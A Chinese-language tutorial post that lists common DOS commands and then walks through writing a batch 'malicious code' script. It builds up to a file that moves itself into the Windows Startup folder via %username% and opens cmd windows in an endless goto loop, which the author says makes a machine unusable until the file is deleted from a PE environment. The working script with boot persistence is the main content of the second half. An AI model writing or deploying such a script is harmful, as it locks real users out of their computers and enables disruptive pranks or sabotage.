申明:本文章仅供学习使用
今天讲一些简单的Dos命令,并且利用Dos做一个简单的恶意代码,并且不断进行完善。
dir
查看目录内容命令
dir/s
列出所有文件以及子目录
dir/a
列出所有文件,包括隐藏文件
md/mkdir
创建目录命令
cd
打开指定目录命令
C:
改变当前盘符命令
copy
文件复制命令
copy 1.txt 2.txt
把 1.txt复制一份并命名为2.txt
copy 1.txt D:
copy后面也可以跟路径哦
type
显示文本文件内容命令
ren
更改文件名命令 重命名
del
删除文件命令
copy/echo
创建文件
copy con 1.txt
echo xxxx > 1.txt
cls
清屏
move
移动文件
move 1.txt D:123
start
打开文件
start
不加其他参数,就是弹出cmd窗口
start 1.txt
打开1.txt
以上都是废话,我总结的不多但是着实比较常用(我比较常用)。接下来介绍一下恶意代码的编写。这里利用刚才介绍的最后两个命令,来实现一个不断弹cmd的功能。
这里再介绍一下批处理,批处理就是dos命令写在bat文件中,系统就会自动调用cmd来执行这些语句。
概念介绍完了,接下来开始实操:
1.最简单的恶意代码,就是写进好多好多行start,就会不断弹出窗口。
@echo off
start
start
start
start
start
start
@echo off是不显示如何执行的这个过程,这里你写几个start就可以弹出几个cmd窗口。
你想多来几个那就Ctrl+C,Ctrl+V多来几下就完事。
2.写个for循环不断弹出窗口
一行搞定:
for /l %%i in (1,1,1000) do start
接下来解释一下这一行:
/l
指的是按照(start,step,end)的形式来,如果不加的话,会将括号内的数当做一个集合来使用。例:
不加/l
就只输出1,1,10,加了就输出1-10.
%%i
的意思是将这个参数当成一个变量,在cmd下只要一个%
就行,但是在批处理就需要两个。
in (1,1,100)
的格式为(start,step,end),(开始,梯度,结束),也就是从1到100,梯度为1。
再举个栗子,(1,2,100),就是从1-100中每隔一个取一个数,也就是1.3.5.7.9…99
do start
就是执行start
这个命令。
这个bat我就不敢执行了,昨晚室友整了一下差点被打死。。。
3.升级版:开机自启
首先,win+R,输入shell:startup
就会跳出一个文件夹,所有在这里的程序都会开机自启。当然,开机自启不止这一种方式,也可以用注册表等其他方式实现。
这里利用move
命令实现:
move 1.bat "C:Users12751AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"
for /l %%i in (1,1,1000) do start
如果你在你的电脑上执行这个 肯定执行不了,只能不断弹出1000个cmd,不能实现开机自启。原因是不同账户路径不同。
那个12751
是用户的名字,所以这个只能在我自己本地上实现,并不具备通用性。做进一步改进后,代码如下:
move 1.bat "C:Users\%username%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"
for /l %%i in (1,1,1000) do start
首先要说的是,%username%是引用当前用户名变量。你可以在cmd下执行一下:
所以一个非常非常邪恶的代码就此产生,开机后给你弹1000个cmd才能继续使用(大家还是别试了,小命要紧,可以在虚拟机上试试)
你以为这就结束了嘛?不,这个代码还能再升级升级,可以搞成死循环。(一旦死循环就只能重启解决了,要是开机自启那就真要命了。)
4.最终升级版
move 1.bat "C:Users\%username%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"
:1
start
goto 1
这里建了一个标签,标签的结尾又跳转到标签的开头,就会死循环。
一旦这样子之后,解决办法只能用PE进入C盘删除那个文件,所以轻易还是不要试了。
虚拟机给我整崩了,奉劝大家别拿自己的电脑开玩笑~~~
再次申明,本章仅供学习使用